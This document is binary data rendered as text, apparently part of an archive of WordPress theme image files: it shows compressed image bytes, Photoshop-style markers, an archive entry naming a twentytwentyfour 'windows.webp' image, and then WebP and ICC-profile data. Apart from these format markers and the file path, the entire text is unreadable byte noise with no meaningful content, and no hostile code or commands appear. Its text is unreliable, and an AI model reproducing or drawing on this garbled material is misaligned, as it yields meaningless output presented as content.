I.clLo۱cm6"/X]<EӀ~c*5I#(qk)Q'+DYձeT:j3}SkX⎌q% aby5 ّJhedKefzΉ Ip o׮\%iHj}"3[r e G laG,.>ʩgc `,twRgEVF䰹$Ώd_?]Cu0mqG&ZQrRWvT^kl#2¿GFlzn':?\hkݴ4wDl!+%KF" LA HVLHv$GRnu]E?M+ϴJk s2Wjw$[U-Wġ]< 6)J%K'=ra,h)x'W"w;;&{˱}r֒|qݺe =>)}v>A< S#eYal'@oO8u RƭQ{V*v"zEqrƱ&$HVxTh!(Df{4+j@=2&l2\з\K60{pk?9R]1ɝ@a%rom+ $ KFjR`Ƒ0hY,E𝈕`ҜckLXI?7r5?ɄtF ~9,&PYFjg Y;0r[m@٢TtGhN#J=EyROaVĮ`]^Jsv2N|a! rOl3\G\Y'tTt^1 ySR$h&`@EWMݰhcJ#jh>}-ZHDe;viῐ"Ls3"!WbTw/CF_epοѡCF.zנK-JaY ̭nS+p`NEX)Nj!YOߪ\QM t.R4G9evSTH]UK{%-xmPuqj08^sr&@PRqQo5 ۭ >V? ,~[S&=z, cLpQ j6 ˏk3)4ЭaKŖb\ޅėUxnb/)<;z\n?QrIc7p5}Zu:byB!"'ZlwhP$(R4 s+$ARZKcy*7=L^$0v6F,ڀCkI&z ^@@1J^aW9\xp 1фH)]QA".J Ho mar]{[@4"/'0c[IEJ rFHr⽅D$KU!r<_#v?q+z8f,Toʍfclde^3~h$A/hǬy  !kCEr7f|ç"d(W6KZ*M% ( hi,H9?s蝹|=P(F#N?ݣBಓ2֬~r̬"\͹T:T+(Fʴ,:rTOqh_u eaƔ͡HE/;ˀ^\30a%Pyy|sw?hq؅a`Mw:!<AF ɣ@f 1 ";R_tQh?u0~PVA|p d$TMeB Y B׊*e਼ܵi8`X7r j3s%hZ t;{qoݭr{^"U>0ypjAկwLt  ˅7LFs6ybk+ru/+Ì.չt]s+1joY)0~mH+,ױRJHaI1kjooSMQtTA,x i4dHD-&#QY[c9NZcw&;akxX-Jpb%VyΐDMm!VqX ՍId4С &ɼ\MWEQ3kɳUskm|V|#XFFA+vїւ&Ϲo3Ifl hܿ6c|x߽܃"^,@80)b0gv;(y˯%zU\mKH-@~9gc̒44P lW f^,:Y[*MXf/e~Rp;T T@~|Q5D~J~^)*Et^'@U7eäG}0g1aV 3ڂ1" d|0Jv~#΂;hd Yxئvѱsh|] #Z$z@|6UzI(|}R&mZT HALJIh9xdoN,2`J[B:Ve4٫P"5'FOpO`EjHBl:S2KkJ(O!A}-0ktxS:;f"E̺Ѷ`lkmwevIÚ_,Ӿd̗s*Kh׼>xGʆw; OйGwř93:B'蘏#xm9t>ł5p}7׀_Y(>|y,+f^Q^AI*af!rz*u0K-ltKkZϲs;il@TV,~sg :!ږ#ݯuPKU2**c[v05mal+'jQltr,m~ZȤ2h&ObaQ Lw]JcW)(Ջ#4t~7,YT*A=PJUoҸNtRy݊kf n)y]jw:PHFy曠g q9&ց ? J{78bZׁN"%`VC'd1ϫ8&R.=pY[Aml3an{#mƹvRIhCCGr>ǵN8' L u(qqkG>]kGcd> K[J.o178?cu[pʈC$S/x[+?\],0وe]C뷒4rB$JC^c5 QvI l֤",E91YIxƙKtxIJQT(l7oM$ߠamdd(Hevi[d弉E5f2Ȼ g851̶)!#q95Č%QNvwT[ Vr $V/vc|7ǯŗTSC8l<lm| ϊ')0j  7I;a EƹeH 1ՠZ%lg7wq/2:%CĜ-frt_J|f?pT%vDJtmj5T ʃ\Uv`ްhg_Ibv #^}s~N#)oxbC&7Z2yoܾᶤBÙ!ef&64|ⵘ$3֟SRWaXlU.hc;>F7}x:_<.r)/eR Ԧ]`Ѫ2lFc7%R=?U_߳t Y19 a<;y-≠ZI ɬiEeEꨈT| ̟s -4ӫ_aXl/ 8I_A#U 0ܜTL柾'쑗3\dw_l{uE;$j}@U/!y4$٥(c[58g-LI89~Dyн9CqŔS]+C-Ƒ{eW\_|Y%9s 6*I0?=5ΫYuϫzwKMhB@ ? nE ?~}6B'c!tP!t6= '!RYE*PHeP]7r6\"daX4kw$0ը0pQoA􆾂![EzzZ_dYK>x@~47UHK/xVT_%WyaN[7?x(& A _BӴP7 IM0W$綜*h>XfsjTs1;At%5I2Ì}[ڔƤl웫WN@'ִ䶯RxR `DT\~lܕ31op?6e cd 'Ssh@דsHJӾ m H> A„JtP#fl^P/Nϼ>h6<8/P{OQcl睥lREP(p,ʎim8cX@;)#wUHA[Bq =0g)3b'daX~w@zKКKi ]Ȱy lӐ@ETtON JR6K)^ Y<~\d#(QC KxWr%#U_AU= lx 6C)r84ɾwII!ϩA5h4dݙ Na,wZ(Gf]Q3X f .mҀ\KsHyp< G){;ypMu_jl2CuhM\7'\6?K445,꒹!HtB}OM[Wo7i6=7`ZLYLN_SƚhhNps-uP9-^NyuaV%uU&Z"Ωg򘰏$B;D 3o:{aaRa)%*^U.&tV:K68߈ѱœ18{A/`ŋ?-.n ζqB-7IB2b~b% "#$9Ȗ\˲eH;V *uNM U]ߕYXՊm/΀#F|wm6/*tmugWlҚQIJf_ Z^٣PC;W)!zxr}TQM=>g.zA=];]X}7x/[{"'@?+u?%fCC1\䊵yLqTN3}:nѕ,^ ݣwPkHr<{3dtcx=k*&kUK@pIS3c>[ fDǏOj'LUSOZ[#Px4Zi٠:w@tv7nJ%4GOuHAK@4:"VĴ շ1[V^KAK!<֤$l#Dړ (}*q'{E.J Dd<BNx- sfgho&pn :e:Z*D%M7;0pWET1xxz1n9UʾnXaTM 2bN1|@BTnj{B@{i/^WC2۴= !t3W3qdnP87a0"sXљДl[X::L_4HEx\Id@]`3Ad <n*gq;bwef!}cq8΃.YZ@ ƣ۲MpoĉlN:[ Żi[.?o:ifՎ27Jif>%u83S %K1 UB@~^'}TK7&}3J L&_/Ҋe-.nA;ɋC/+sλ I$ai--yS ;Vۧ*lo7)>\rhf\lXE69s I`j죑(# p6)Dk֣'āJ1_Ae.-Kٹ Ѥ7{ Sd$a+ bqsuaJZ?Bs@{zւDOV%]1gUuwJ /ܐZD cuZ+V"6Y`Hr5}(J}6Jcཽ}q@xY`%_5Gnl5X)TS6( eS( -3 u:| =&}~j~bŒ VnH!.1z=4gvT'R9@֪ref~,hJ;<̔0.rK)8Ɂ؉h n/ɥUfΊ-D&E:!wHE.΁}%4_,r#>f~g`(_Aro:V?T!]zs}PSAIN8BIMHH8BIM( ?8BIMCPbeWdthemes/twentytwentyfour/assets/images/windows.webp000064400000366444152335264760016710 0ustar00RIFFWEBPVP8X ICCPlcms@mntrRGB XYZ   5acspAPPL-lcms desc @cprt`6wtptchad,rXYZbXYZgXYZrTRC gTRC bTRC chrm4$dmndX$dmdd|$mluc enUS$GIMP built-in sRGBmluc enUSPublic DomainXYZ -sf32 B%nXYZ o8XYZ $XYZ bparaff Y [chrmT|L&g\mluc enUSGIMPmluc enUSsRGBVP8 V*>1C"!Z< OiO~_.?fݾٿp_̿G_3?'Hg_?~rk?;7//vo_?~6Gdk~F=]8_<<P'|H?O?~sw?~Wa}~~Ǻ_sD?o~}?߿vy/oܿQW/wemoo_˿Ko?Q7oE??_`w۟7wޯsر6D cJ,G|mǂ778&2o>/Afv-K3=<7w~sG={ܺ|{vwzlC+I] A^i  2IȒ{::?è˷›:/p J qr>w9 ix?a$znL.}+7o Ú bNZO%rL{<2j_yXt +f1~dc"GWPl Mɖ0Ol_X@"nWަ+=k)6/}2v bx,1QMf8ǾjBkB.m;jO mL@>Z/%D`i H2V)TWzMv})ebR=xs'"bZi h8 ecVaxc(QJx}x腫4౓PĜMM]qANuZ!c>fAy3@zo"P*w0q PAqD u 4ziފl7Tm*4GNSц~ixf6\&` V<qbL. }c哽|񂃣InU}&wzz<6y*,#sٙ>72 楮H{%1"YN@t#\9|KWqwҐnD)@ӋT#@ݷW:1=\B;F9: nT!"4i7B3(De7&x.U@RGFrT. FK~m4s E"._'/ :+ kq$yFoCŜ5ohǛ8aSFgVw.BTH:>J 54gdɳ9$S:J +"9ud4(-[;&u,~tV9 14YU ޵4]Βnk幜chǮ*kh{ۢsE4f'Kb ݤbBgl))h4_a^ 6TuP&νh?#,סd|fGhٰAw#貋PCD|L*P*g^:6%W)^8ߴS58|[$GQ}(Ng̀^B1X/|g>:` W\V.Լ`\@fJ<5Y)3㜋Wm[4Sx!-#Z؄l; z[fѓ%"{U֋|)v{5s,/fD#%uirݷa]BX2Ӗ(|LXAn*}ѕCxivǗ:K>^n]r#s/1.i V/t >&)&F$,_/l~h [oĥDl<${5/_^/^a=<fD*f[/h%n_}ff?ې=Xmtx9nk}\/jǯ4qN.~0l{21;$2y q*L^:ң?MUzizoA8{zԎȊ#crJ&&B+Rk[ԹYeGr`t>l(A!  bR{ ޻FF*SDRjd!Scg8ߡ^ ~=c}$ac:Pz/!=d,rM־{/S@ϻkޱ!J=mxu,{ܧu'_OMln?O~ a"=z #68l.u1s'f K4di=kfߚpњ 0}W_ pp u%h,KoPn7 n܄R:T~Q0Zz`򚠪ݐQ+C uv$RCm{PfHtEB(k2.$ߵrS7]P|cs..vpux2l obJGQٟ EPj۳TP]Wߦ*Jx">)C ZZO8hSdQC)=ТICbtz:Zv(\ 6AXTm}׼Toz_˪i#jVq_@L̐5^TD9I!HS; R[& I% I%4PԨ<:AGfP̠( ipW}f{M,OY^87|4RCz,ƤmKՙ7XZF_ܝ7 hyA%wu%# ]bQx O|$;1aks3 Bu$GNJqyDBhʄl3/0$γY2jMvrv˲r*&mM.H@\f0soS;fL͈ ^56[~ú6 cfYk:ZY, 9ʶ6B73e6xggfl#DG[/K1*HcA>clOQѰ٦ "毃=Y/LWKypv~YgĔC7C*wm񀐈LoLڲ\? {p~TZb#7\-8靮r__ߡ9NZ.ZGm cJ[y(u9/5!e$n+T3յ]Bsd9H[5%70&fEHRfڂ@;S|v aWV|kL܌Nzn#ؘIDX\[NVW=o5Gb|rVa Ä}7gDQffa7gs2%U^xl b$|%V<_^#ǛVyv1w O=L#dS9aѝ({1 xGneiF`'~GG|vluG\wWFp L9'o\ gJ(XE:"dJ u.ȸ9\M[)osp#s𜮐v`mEkK"ūso좺Lכt[zbnWZ.~E#c,Zky Z.ͣP)$ccEgjٰpݴJ*}eW9bfKHjSw{D+x! e~ hfUF7]at0N-k!xJ ުpj%~ xV tkM fܰx&Uލ-{t')*A!UZ&B#>]`蚊0;d r.!]^3687Q}WP9 1Z#``uzj:Z4y>xvIn> x#Nr!K(@PZ=<4򝉖g-HP޾vŗhctX:dK3:SDq8%7m9?0ޤlgaDŷW8ȸ2]EXgɩנC[SrVԻ`]C?~'!@c+Y8gӐLKb@^L 5vH(1/c ?h.# (>*AOˤrA\ü.R}y[)(?eQ3bSR"hF_)*QRАghWWl;~MYYDDqTf yM(EzBl3==#C/`j66468dA.pu ~ )7 [n'_ۉ| !Y0IvE@ƒov r(.GzfWGT́/;^y<mYo)^8Ɗ/)T+L,[|j5o$+! rp6Ir5~> !$->oJs,%Hd U(xbtLua.x`O\\ii#={*S^nI;+A]RA3  A?g1(Un}2Z%Qdj1 .BdBOs\猢"ҦDIkb܃T' d0P/9ye]n9{yE)*oQؗ%v&uET3)|vhľ6JG啻_Pk ;RG,l5oÌ6<߳ %BOb$w~ ·۬,ZQy\w֍vKVrp.Z<7w]i~0ҤCg|4:n E"F%{D֬& zk/@kk`NErߧ4 c AG8mA߭H$~ g.ϵij\o)W2k{ [242Eɘ 5G^'nv c+~G1XDR~KHzS0:Բ &p D4q,p>j RLK+wRO*D LۺryIY!n1C훮O‡LgCUcxn(1.S} ^0'0#_Zk`DͪE.cL_r wqUZ/=W@P30vGW ټӏ(t0 !Ƽd2Xk3s/0VڔgM(!Lj]?'{;XvLL\.4vy8uzyk&uUՉD]LLM6Ye9EՐϖ4$ӗ@ZYd)Vb'KJ@pvkM+C1Eћz(}W:q2g>̷Z*/?G(h @#af,\G Llx|B?@&xmEԦ,i@ {ąRYb3ko5c`j ;AoSAl(9ZoSm8]=Ӎ6T@x9^ D-ft5-{Ό=%A3Tu/^CWv[yR }E2"%8aVzx +(w*ohMED_;P~I8;EA^wK@1іɮ"xqFjoKٓ? ׇQָ=+.ٗ_ *؍*>ۼ噼Ĥ] MIܠH=ޓEB@ ]P\USI|/z&Z>A"I"%즌W͇^4 ̕Pd~+ܝTrfF &7g F*h&vNKn/S^ݱ}S[ġyP'h 7+j 74Yʅ.cgtiהr?Y\j$p#zk̊ȴej$aʛ`Ʉ>S(RH FO2>Q ?-4ӆ|gAm~ TEqsj!z} ON50}eKkJH骪f=X`{E|3Z|qWy8WWՌe28Xnq@#">uC?XɐՀIMpJ-tdUfxҲ^%ְm[0;5ѡ@\4 &0-ڋqU|fJtpÖ qO˸iAhn0r*^8ۛcgzK/6=MH̊}5*T(gCBaUBԸ"y3j/x($\2h?^9RФLe~ R&G{ Gɋ0 nhPe'XU}1f)H`~Ŧ@4Z9̈́Q>?cny!mDxx!q'$v2._]::*kёHԛ<@uJ.m' M7y6ゥ*p:19kx$2^3Ѕ1v9wܮ@hӝd^]D{ be*w*,8:9z]L'^Յ`n̓|n!nOZ̦=ɿ]G{]G*7h- $ps39q潫g.^u" ,|/Gj. -ewWNWU;lRhe\ɬC|c^*`+YSGy{+?̽/,Ӣ gA-M\$&GB~rwAn6 k 29ҵٸ'A%?IMC8|]Q.(a"dU2Xeݺ@l3}? 8Pĥʀ.^`Z'g}ux} ױ$E0@OڶEd D3 Kgɋy|tF> prL]_`޹ mW+'L-+`0i$p`>*3"˃$|v_O[󹗋ws+) «Bw D+EsH9U@a~aS9NU >F g,(KLzn"?lvӧytH?C3)g|6K"`n> y5/gqj'%pª5WcΫ>[i}>IX\5i'CxK6|e5*&FR-8.noW2 z&hծe'@؊F^ZJ͔/-8SFtq "#E/~ݷ'L̍k"Tj1Qxa :_U"ޥ_vn6k,yZ>TM=o"X4aƾi_& j@GiPL[~]>EPb6-'uw}tY`"^~UmU(=,X[쀘ND; WJ;(:i> +NT:*+']erO|ܖ$U"jTete^<${_Ճ8])45n#vzR<i&ʘxn' \|g@ptK'Ul6\Ѹ{S\pWi#4nD䄓n]/Tb3`h.PdA,Z B*!_(~GKPi.+ktէb F:g|]Iܥ2S~n !CP1JYFӼܣg\ -\!~% lTF JZӉ=jpJ^eW^37bXJOt0S cb JB3SǏVwϦ&@{Գfyi(,.O^Lhc!?T*VsM߀}3y7 F& f`]n"g9ʦ r̬2I]ԏ,?Kvj)Nğ]|722R[kh\*r#md;'+|bBZ.:]Qm |"6--|QBBO}C qr3L;O\ZЩa-M H"xuP2qizٞOf3:^G|UHDs$׌kfϺ^llnNHER.VD~?]圇9G9fW 23k2_ؗ"unu~y|E =`e RZ9Ovp<>p4LpbV4o=$\Jz<~qTگ_y+^u v\"y 0J9{gfbg6Hv,[-e$9KtEG+n _ .GzJ{H/E;?箊qt~)1L},^ 5"[3KsN͉[i$kթnQE9WNFI2u7~}†"[:&s!\ YW$@J+.<ЫU)`fWH\/V4:dZz1ܶ*fsF=qpWnCye@'yXZT4*+J^)QpiǰsUxOئBY'!%z 8|vuW K/y[7T9иp=|'%[x*Hfb)h^Y-YS8HgHf\V|+3FqX/Qɹr:t̲h;wd >n[h y+Ā{@s'A#@fULD7=-_ @%J63AHy纱GȬa>Iq[xox'\I]VogSrဤK}%]az@l~V2Q|0b~v^' Jd:  6Y5[{"z{IeƗ]z0"##abIyoћ{"-/-t#NVNp B e.!lBuRqSMr$"YTV\>rFh$@5W(~dɛq.+lGh 쎼LAxm[ p"BCa?傿4FH-%+?QJ#.f}+;L2gT0ߵۘzC/t6RF( NC4}Al ,aMșvv x3%3N{2%pתXTCP4}뗊N'U䳧:@Ta|l>YnJL]MRjĂJxW3^ mA԰~JO\x^(^,P^Ojl F'N٘tH'Վ>%t)zlԼ9 8W{Sg+ە N1@<. [4λh ؃I`1lFF 7uyNfJ\(MT'eW˟ZgcI9_xm U~Ӝ{e2{E;[piPm݇4ro4?mc 6ɲhxYu*:O.WEBV9̆#ڄp}1 r&2SϬ1LJm.[=\0p5oiZk0r%2MJGο,P4CA@O4'4Ү:4k@>VF1I#J#1Py52Fo~0A[{i(*5Ls3:Lu^e>ىH`ֿ+M_7GϥWlGq8{k+ryZ#|@ E[ez(nʸ?`2q2)֍*w8n-f3}$d&{93 rFv+E@s[+V[ +^?ф[2ND^i7 ùMO#sSl>/ ;}v5-_ 9GqL61XxfHk?/?cBʕu_uvHujKLySd+=rU6m!'L-)2u ԑ"vҤyҊJA1Lj\.D9? P)gfq5sD3,x[xc`CAZMy51ncg-^B[Ti^Y2`=`]Ըl( [S)b(2=C+4/o[sgJICeTm!i2-C{pȷ9$~5EO"_!֥ J &@KҭSPK6TviЖYg wm뾂\D:O[B(Vis}O|m K?ދ5QbwobX/#a.AJh 4G%}h%LӾ|r2f.m`wd|y' _ A+ ~av9T]LsS!:+L7gk})-`KB֤y8c֧X/tX!ܜNPF0WJчh< T qoO\W\4}?h[5"'8)/gB n=m=}k,{zY>  awL4 +V`Z>3 $]'Y ~R5S8iw[Y`"m0OҺh Orw \= %83MUH|n xOM~hcRxV=qc żIk"qK|-lq Ty<=Ӑx;ۺJO.FuܻRlTEjOD`||> > ?e\\<10IRoBlnU\%j TYV 5@P9}EZj%7l&b|O?r}E,R^ ÎtEj £2ڠ/:]kQҢ&erwKHPA~oLBR;b[c4ɬUr@}0Η (B؊ ]۱?ދA-=qR/SYZ]Bs+#-eX Պ[fϭIY@fa q)s$/į uj%Ժ4[ϙ _KeWy 4-BX?",L{Z9"+p7(2=|Gz@;~i2׽*-oݟYvrk&;?o!cXOLWRA+IcQeS a{'=* ? ۏCvvQGMؖNt2}ba]^Agڑl3۬yO-λ[K.$k557=\QO} L w!װC y@=2&=W;cV q4Frw=O~icz%Rj,+Vڍ3Z# ЍxxLߪ؛F۞0, c,Fb ?c띒k;?}֨.ټJ&Z?[.eǸ5fx1S'*%>p#bSj"z(]c`3 g-J?0Oc쭙I!a!smt:TG?@K0`QkmQ,Q}i]'veš?O-MAlou9]ʨU ~f:$_f1?77W&D>:C/"=k.,؁ iFUCb t XS9G2*2 n?S 2^uB]tW1a3J4%-wKXszf*wq&ϸ04 /xwϹNTt,p;1z'Btn/{}hgl, q-;M&<"n r%hG`6*w~!/Q:d,+/!]WeUe֞X +8V-I/XmleIa>β~CrT;ivC?\zš,[B ]M;F{RaTdPV1<|*u|GQP-r ) mjM k%=Os{}Lu>V\Mi͓e)JF =<X`0FM{޼'K>GGg># `|u|4SG:J~r2㌜zIgA/xGx }eSR*6jkZSԄLf99c˻8ĩ Sk7~bgN1?HNǷD?SG+$n2!-oJ jGNOō`g1ii"mZ6⊫6ֆs55ڗռ,o ;S ǥ*+U+eʚY/gE6JƴK^/κDhzx~ѕDˑ,uOsRiW* 賦egu/~)ktnhUVg#&#'0(pśik)^a d4Vƣ4&lB^7V,[BN͛cbX:‡dhDkPy*jI9`;k^C3f*-ݺRw]ILYcL‰ڿj}F`ABh P:Uc(J^vCd%[S\N< ̝s9Jfw"t_#w쫢H}r.lvYklω r l pкW(I\sn#v:eUSZ2F.0\pr=…dN x?kgID l2cbs+֞Y2*u|ud }`zdG4IhB&N̈ vc$2aNnSDҠa%Bh gY}B^ nֻUkfhj A8ke+U~OU萿nl2֫ns4 CxĴH2A/QbAX5ʢ_]Օ&2MCMSa4K7Ì_S%<o!7 ʼӹ3:ɋ0` .#tWx*y- E<* }OIG6_nEI˰D)̿'|#QZ{XĚ#ېfD"+A;|02b41<%}\=EnI*k]<R?<#%8aD&luT/AJlMx\)LNC/+{֢u@O%ćsbʓd)d! \|5G, d H⓹ٝ_VN?ɛɉl~U@ tr RWձSm<ӥ.0 ۡ1-γ?E V qc~C+Os޺9C;NnZTyٌKЏמS0ev寣d)5n6'gaU7nڔS?g&] w(mR88AGԻܻ0HV?˄gxj\Ocꓚ^ϧ9bAgB},ID6J :rA8k/I3iOjjG^5;ąECLP-ToĠ1&~x 9Ło]z,pj/S v¦5He<&)ʖ&,0ҳ+fzSDOsۋ̼[_8 }VCniy_fbI8G ~1rӜS% &@ċ!ʫ;̇m'5vtue[Xp5YBɄE`'n8rt7{(/4 wmkwo׍964,Hl%T}Bp&>Co3d^,9gl6Tv倓P MQ <#U) )UP+% b†Ob( g>pA>z;1i4P+R7 6I+3&`-}ұx79 ĠN6u''3ω ߩs$^X3u53;, hE˒Խ%5xW8̈MLu#dAʈpnH!j j{:,4MT6W rDǺN(3T)/IN>OVhA_8`s?-w#0j^+?欗k@tjA * @,9K"&cᒆ/QCƱ]0*R%_dzG-]etU 86~ஂJ~cUYK8$1l{H*ȷO3zoĹF_|.<bąޫ#)hYfH9N!}5@m$yǦ) -EG_jOT@E fY}9)x1$ VBa> )u%IMCKKW#9c ^! Cb*JnmrK\'YfS1jW Vf^{Zjd#r-)ե m=f9{OIDӚ+3WoY'QO+%!ycB^Iާ`$.?hQ WI1@0X(n5 ph FVk-I皇|Q8#t,:5AlI< >if6$-ѴuXW;F}]o VBAp)hJQcWv:7H|\'?60)AKhn5<Ģm PӴIj R'S= dm-:U"w5ϙ3=xo<0RqƖާgv_Æs;R pndPkƿu1R?&&zuT/2|816׼Qi(=n@|ͱ17t] d`yw]g&"|&;ʖ}]ôľ};"[֠!hWvqAhMNaZ#1(_٪6i ˋX.r l}9Exӗ)8b!^cLPI~S| ÉE~D /^w,^t]:w }B*^-O<ۖ$=tȢlvJz2*L(ύUaօfB\"_Kh%(|f}2! aՕh+kԴhV|OB*|6L}^-a?A@* 8-)cphHkcU`2`u43&a)C4ecRXڤD)74MH.+:$ 4C 1OG$WU:*ɕ"+uq\Y'Y8zJ~Ms uzgQ[[K8Ko3QrI:ۻ(:,+*! sk.x˜Q|{#EV _< ՂMMa|f1/QteN!Rz'z GhK6F0:B$:,+4>~N$3OTMQ\?c?$;6zN6wrzq .8Ԕca x ˩PIeX@g,NE|7uX໲X(U 캞-h,Dv߱ŵ   [ ۦG3G+L#hS^t*tA`&TL L.YNҺ oc]1{O8"jDQdÇ=Y vX*g˸ͤ+b N3>FY{͒bYJ枛)'X@1W>=˃t M$͗]lU[ ^}!#)M6QQX:;2Bj.asghjA0cR%o-kf>J?:p?q`(/|:ywOMUT{_^Zp  S0 k=2WwȪ9O,dFJs+:-k$,0;ΊB% 1z<\"XM>$,lt-Xz{z*j $?.Yl)L$ ¬+V~2ouKXҚ[STlW5Y:Ԅտ;@D15ң@Gg]FY<ՋS̒1?lL[$*iKY[S*Ǖ%CQ:Eg,9пw*r`ƶ^<+BTŽRK$溠ݸ>Zyiw N h4A~׊. py;&/*(cYln;uq $~=hCY"7%K6= 1O wEz2/h4$6OiE@CG ̅-iluY; ?\Ӿi"cm0R9ld۾7W=SOAؠ*Va5P(W-<xbm=.s]ƙ_FD2V؅%*X>є1*~m剥|iL5$00-(`cchxm5 69BbZ.K ?zUGDp0 -ǻ$e$abI5G֥$<8}>tcHr^!Oj:VI>$FR;leU}fʞ n:ȩܰ$j&$?e"AS2k Z+H`9.ǧEj ,,6BPf '@X1SnY '{/UyS$wۘ )|IPâ~=Ɉ j(Vg~!"ڎMuGQU RwZ}0G -HnSK+P]"= e !^IoK'L!@鄩{ew~5J VAEmX}{EV|/TjfjUH;mGHDu^~`Pk &RTzE,ƺN8;fPI ӬNJc ܘ`H$̅q A 챵|VoBt͈\+[v\؇x1! }(B*wHwu9ذEl9}m/H˿_$+IIz=DáRQ|Uuwٌ=}J%(tjzTaĽFP-AF8#!6Hf&B?nn$F3TJZqq*7Ql+ -DċZG`yͲ>-9|˶qkPS?JڨKq,|fEULӰJ[)Dtʗ #tq;w~$ƺ􌫨. Q5? n a6MqCq8}¬-I$J|!j2Zpr؀-6;C>u6!%CY :.}[7)˹m牍,x\V IXP$ nrpa}cAA((]UPl3`d(vK_Bs?'ӕh^r~^hAp ?ILv'(IhЄPg6 r{5/YQ? *=2V iȯA M]|h.4\a(?Ɉ֒mfv)o+y[!ccuyìGQ.'yg x a ?5wyPB91!Ptddҟ蚈`α5TkBt\$6[н<656?X5!vG櫡wLQ;lG>,'Y~O3=xΏKRI-@UCj W/0*_br7}RlHGWݟΎ+hq'(:5 :a ņNTZtIꨂͅ5GmMMU>Ͷg~6~ᣀ-ҬgzU0A-)c"zs»:12dAwt(Xܑ `WU2R$8*$en|%$w#eUUbo@ü[^yxܐ俋t@/GvH"19lBc7vʀ2`f/רs3^Aׂxձ3r9D+1Gh̬-2]32aȸ{<3x 6? _J :|)iS6@ڿ*DPfQFkr;ZOseN6\uΆ|gS4 Tp+,q2i ؍9|Z QΑ?ʔ\ ZP[9q͜׺Ԩ.jknXVTh'x 8T6sBWk[AZ\PP>VYy8VglhM!FHs{ѻ[Wbت-Ҟs8 tw02R:zvgg0F5WI5~Cx`zn* n8 yMHjvl+~/P$H*39TH{RD}ʃ\j"!pkJ>p=JL(FB92*mkgN(4Hp5:Ҥ-$ms?Ml-ʪg/ -kQ 7<Ĝ'U*2vpX:GL+K>k58:$]ZB$#뚞SnG b;S>t'75ͻ;эXŃKl!_41/[KsM;2)BNX,c]}#](v~}ĵ h7ISɳ.q}bU #J۹l_>qmfZ0ǥt %1#hZ#w֖e}h5<-j}gyleLΑ L,Y.A4lF K媌2}Qy-)\]g‰&E{t'{eR γX뷃ČrOC?#ۤFڑ?2opvSGFY[O !kV_eV0ke3sWwroJEeٯ=& ӄۥ,2H%W'|0!"PYO>=)>b2F{1Aq#QT#߇Ϯ= y]@Mgʪ#ڀ<M)аd92űn%0.N<'V=" K`3Ƽ۔I"%ۤ5HF}3eR|`:ѐ-܂=ײR#/6Tv\ lA%8vx=kOT7iT]xbY7ֹNs^!Gd/#xX獭crEFh4&Sd}n\!ָg Mb6NМ, ?z[&k\G?t#h=H2m<Ӭs,3Ǫp["|+ }Ekϋە]"XŢ 0_~1rº̅! ۋn`h#Pk#TGz]LMU%B}1VKd汰ߴ/H6(7؄S5'ם厃GC.|h\mJH/A[B$8A~I]:U^̝d9")-AmidlU; u m>Z_yI6Lu xś\d LAB9[uyG%iT[# "sGK>,MeE*`Wl+9KH]`!01LĞ΂#&A/ &fѕDg^DLoVoҊ"o $O ߨ*#%) 4G=Ui1e˖rJܗ38o~%ՙmz; 9=,QܥhT9/!q6#?hIp~UٯႹWi73!Qt??vpoaƶ{elEۭNN.D]@j2Vuvr!n[GJ|TF6-^3%Ґb'&-\P8G}hZ(e}Zn}f,=*UbE VDO,k&'L~59i_gn4[$ v62(ܦAڷ2UDݰ leu9\2޽zŔ?gF5YEǭX1j L}\Dg{E֘pq{ VτY/&CTR9Y=2GjȢD走,-YrB#3,5PAbavtcJ7ImҲv8M*f ;"'e&2*b+77bmc vwqpfpxy'6m$߱Uhk9P73[~6$y.Nf!:;@|e754iدzOVaf@:H]B4ܗw3,;oS{llJO&P9nf\P*7JLK`'/2SIS{pP8)R?#kqsH7 ,sңo &/SbR^-*H`K a:CʈD H,ӯO.=U >B3#g 8Ը Mpef<R4k2%=F!ϋa11uzW`CEK#o޾eH]eHȜ<>&?pKj4Jac N#`Gx)<9 6-:v:VΉYHby- Wwxƍ2}__;q/ȁf}|0' JulLR&#wл4ј<b{Kd K D Y `ݿELtI^Kah$GgXy&eC-DagV2K1>NZum0!\`WAjlw;bzswElE7d5%;GQ*F0>\SM.gWV}ڷa"/+Hw-Mw:1)IMB^ Ɵzͅ閘EK8^7F@';tmf` R#6)7C>HrWDqvX .͇3Fkeo,~'uOum腆@ 5oF] Odgx)VJE J״h'eo6\ׄ9iFځAg̞GҟQ_ЋpvV՝c=vԃ‚AUj&\Ϥ׮M(}&T\2 ZXBdzfQ|x`]utbEF FX,Rn[xg3+a#YG6<=+Π;JbcSkLv)nEˑnl1Ӑ/ʩ y؝ΎiG_jO f { B A ۤIɭ~WFr>9ֲ{P(gtyv 2K,TtMT];5+3$*+S(ӯǑ^"eq^?8ȀS4d!1vTnXHv aEY W$rUޫSw`yFY2)Uz"q[`O[LXk[a{e Aiuvʓ鄞3-@C|z-6'^M(N |΍ di lsZ_&pC_A3p/'U%al7AlGݗUF TŽ{mWfZ=Yh4R+r_ umLR~ӍJM_#В?{{mVwy@X/{L28hJՃg[\'p~P@}DPwψ$M(0L &Dm1@kL1j&,~:362ftu]:h7Vi2[A1*EZuDJbDˍі=]UU::POpjM@K0gt ӗS@YSW;AxEs%{obymG~EN 0'{-Eu9wcoU5|\rэ ROO U?0v7 H6=J0|JI =0 ŝ]V*Ho54i6c>+9aJf]!ON'ؐ=(4 GEU*l:4VMb/gjzKNm5&kUTP{k_ڌԋ4L46K/}A@z6~8p$}XǁT_bba^5iV 5rd>blH=9KA2A >̽%?V,A'ӶCChxa%7J$qX}{U(j#+Sx uT]֮/azX" Rԓװm{5RU틋k@,n/OPQzj^:^+;='#ɬ/-:F-sI]-˯H=<|& 1?L/"0hҔEOOȆA(Kc~`kHq6(I0D|$V~Dhg=ZA( үĨ쳘N>"tje:C}sq\WpQS8fɳC[nN}Qͭe`Hu7nG .:#o KȂk>v9(+YB-rd!h @7MUȵaÐ@1 ިd G879_Mj]@=7u6vtUMz}ɂ.hUт,JY_>b$F?itטɏt px2ߪq*cU 7>y g6qbAͩb*sE\mޢ&>yX]i,eW]& d&svXk*_CiA)(T8gAN+;^}ˏx:VHpC'J _Hfg I8DP8vf8ݠ`=We]sw!0m:)5`[[yĠN"Nl6!<',y! ׹x C(o,[0 e,RAU; >SIAT|4c@%KK; 8%'k9>+*e ZoÙK$l <\B|W,ʙ[{?\0N9F`l)AGPPu,tN= ~{,msv *<}zí #6Fj +lH|` B6$МH;QхANJXyĂDeVQ/~AF:&7t|iqq60XRrO,[\;rEI #o;LJ<(n3ES-8vԋk%|RW/A$"$x!͸! ěMa!%$s;뫫,OH=.ܸTȬ7^)chV?=yCOnZxò= 